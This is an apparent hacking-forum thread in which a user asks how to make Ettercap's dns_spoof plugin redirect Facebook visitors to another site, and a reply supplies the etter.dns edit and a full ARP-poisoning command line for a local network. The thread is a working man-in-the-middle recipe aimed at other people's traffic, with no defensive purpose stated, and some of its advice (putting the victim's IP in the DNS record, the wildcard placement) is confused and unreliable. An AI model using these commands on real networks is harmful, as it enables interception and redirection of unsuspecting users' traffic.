Login Register






Ettercap dns-spoof? filter_list
Author
Message
Ettercap dns-spoof? #1
Hello.
How do you use the dns-spoof plugin in ettercap? I edit the file so it says
Code:
www.facebook.* A "ip of google"
. Then on the command line I type
Code:
ettercap -T -q -M ARP -P dns-spoof // //
What I expect to happen is that when someone goes into facebook they should be redirected to google but instaed they don'g have any internet att all. If i change google's ip to my ip in etter.dns and i have a server running it works sometimes. My question is, why is this happening?

Reply

RE: Ettercap dns-spoof? #2
Code:
sudo nano /usr/share/ettercap/etter.dns
Thats used to edit the file ^
scroll down using the arrow keys untill we find something that says # microsoft sucks Wink.# Redirect it to http://www.linux.org.

Where is says "google.com A ip" yours will probably say microsoft.com,replace all the places where it says microsoft with google.com and after A enter your victims ip address.



Also the * goes at the front of the domain not after.It should look like this
*www.facebook.com

Code:
Then use this ettercap -T -q -i wlan0 -P dns_spoof -M arp // //

Also replace the wlan0 with whatever you are using,It could be eth0.
Just use ifconfig and see.

Reply

RE: Ettercap dns-spoof? #3
Thank you! I will try when I come home. Is there a way to reset etter.dns? A tutorial i watched said that I should empty the whole file.

Reply